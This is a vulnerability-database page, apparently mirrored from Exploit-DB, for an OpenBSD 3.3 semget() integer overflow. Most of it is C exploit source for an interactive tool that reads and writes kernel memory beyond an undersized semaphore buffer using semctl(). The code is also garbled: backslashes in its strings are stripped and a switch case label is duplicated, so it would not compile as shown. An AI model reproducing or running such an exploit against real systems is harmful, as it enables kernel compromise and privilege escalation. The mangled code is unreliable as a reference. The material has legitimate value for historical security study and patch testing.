OpenBSD 3.3 – ‘Semget()’ Integer Overflow (2)

OpenBSD 3.3 – ‘Semget()’ Integer Overflow (2)

漏洞ID 1054106 漏洞类型
发布时间 2003-08-20 更新时间 2003-08-20
图片[1]-OpenBSD 3.3 – ‘Semget()’ Integer Overflow (2)-安全小百科CVE编号 N/A
图片[2]-OpenBSD 3.3 – ‘Semget()’ Integer Overflow (2)-安全小百科CNNVD-ID N/A
漏洞平台 OpenBSD CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23047
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8464/info
 
A vulnerability has been discovered in the OpenBSD semget() system call. The problem occurs due to insufficient sanity checks before allocating memory using the user-supplied nsems value as an argument. As a result, an attacker may be capable of modifying the running kernel.
 
This vulnerability was introduced in OpenBSD 3.3 and as such, no other versions are affected.

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int semid, idx, val;

int read_sem(struct sem *);
void do_read(char *);
void do_write(char *);
void dump_hex(void *, unsigned int);
void dump_sem(struct sem *);

int main(int argc, char *argv[]){
	int quit;
	char buf[80], prev;

	if(argc < 2){
		printf("%s <semid>n", argv[0]);
		return 1;
	}

	semid = atoi(argv[1]);
	quit = 0;

	while(!quit){
		printf("n> ");
		fgets(buf, sizeof(buf), stdin);

		switch(buf[0]){
		case 'r':
		case 'R':
			prev = 'r';
			do_read(buf);
			break;

		case 'w':
		case 'W':
			prev = 'w';
			do_write(buf);
			break;

		case 'q':
		case 'Q':
			quit = 1;
			break;

		case 'h':
		case 'H':
			printf("Enter one of the following commands:n");
			printf("tr - read a semaphoren");
			printf("ttsyntax r index[.level]n");
			printf("tte.g. r 1n");
			printf("tte.g. r 1.valn");
			printf("tw - write a valuen");
			printf("ttsyntax w index valuen");
			printf("tte.g. w 1 7n");
			printf("tq - quitn");
			break;

		case 'r':
		case 'n':
			if(prev == 'r'){
				sprintf(buf, "r %dn", ++idx);
				do_read(buf);
			}
			else if(prev == 'w'){
				sprintf(buf, "w %d %dn", ++idx, val);
				do_write(buf);
			}
			break;
			
		default:
			break;
		}
	}

	return 0;
}

/* Read the contents of a sem structure.
 *
 * idx = index into the array
 * s = buffer to read sem structure into
 */

int read_sem(struct sem *s){
        /*
         * At this point we have forced the kernel to allocate a too-small
         * buffer.  We can read and write members of struct sem's beyond this
         * this buffer using semctl().  A struct sem looks like this:
         *
         * struct sem {
         *      unsigned short  semval;
         *      pid_t           sempid;
         *      unsigned short  semncnt;
         *      unsigned short  semzcnt;
         * };
         */

	memset(s, 0, sizeof(struct sem));

	s->semval = semctl(semid, idx, GETVAL, NULL);
	if(errno != 0)
		goto err;

	s->sempid = semctl(semid, idx, GETPID, NULL);
	if(errno != 0)
		goto err;

	s->semncnt = semctl(semid, idx, GETNCNT, NULL);
	if(errno != 0)
		goto err;

	s->semzcnt = semctl(semid, idx, GETZCNT, NULL);
	if(errno != 0)
		goto err;

	return 0;

err:
	perror("read_sem: semctl");
	return -1;
}

void dump_hex(void *buf, unsigned int size){
	int i, *p;

	p = buf;

	printf("n");

	for(i = 0; (i * sizeof(int)) < size; i++)
		printf("0x%.08x ", p[i]);
}

void dump_sem(struct sem *s){
	printf("val = %d (%.04x)n", s->semval, s->semval);
	printf("pid = %d (%.08x)n", s->sempid, s->sempid);
	printf("ncnt = %d (%.04x)n", s->semncnt, s->semncnt);
	printf("zcnt = %d (%.04x)n", s->semzcnt, s->semzcnt);
}

void do_write(char *buf){
	char *p;

	/* write something */
	if((p = strchr(buf, ' ')) == NULL){
		printf("w must take parametersn");
		return;
	}

	p++;
	idx = atoi(p);

	if((p = strchr(p, ' ')) == NULL){
		printf("w needs a value to writen");
		return;
	}

	p++;

	if(!strncmp(p, "0x", 2))
		sscanf(p, "0x%x", &val);
	else
		val = atoi(p);
	semctl(semid, idx, SETVAL, val);
}

void do_read(char *buf){
	int ret;
	char *p;
	struct sem sem;

	/* read something */
	if((p = strchr(buf, ' ')) == NULL){
		printf("r must take an index argumentn");
		return;
	}

	p++;
	idx = atoi(p);

	ret = read_sem(&sem);
	if(ret < 0)
		return;

	printf("Index %d:n", idx);

	if((p = strchr(p, '.')) == NULL){
		dump_sem(&sem);
		dump_hex(&sem, sizeof(sem));
	}
	else{
		p++;
		if(strstr(p, "val"))
			printf("val = %d (%.04x)n",
				sem.semval, sem.semval);
		if(strstr(p, "pid"))
			printf("pid = %d (%.08x)n",
				sem.sempid, sem.sempid);
		if(strstr(p, "ncnt"))
			printf("ncnt = %d (%.04x)n",
				sem.semncnt, sem.semncnt);
		if(strstr(p, "zcnt"))
			printf("zcnt = %d (%.04x)n",
				sem.semzcnt, sem.semzcnt);
	}
}

相关推荐: 3ware Disk Managment 1.10 – HTTP Request Denial of Service

3ware Disk Managment 1.10 – HTTP Request Denial of Service 漏洞ID 1053711 漏洞类型 发布时间 2003-01-30 更新时间 2003-01-30 CVE编号 N/A CNNVD-ID N/…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享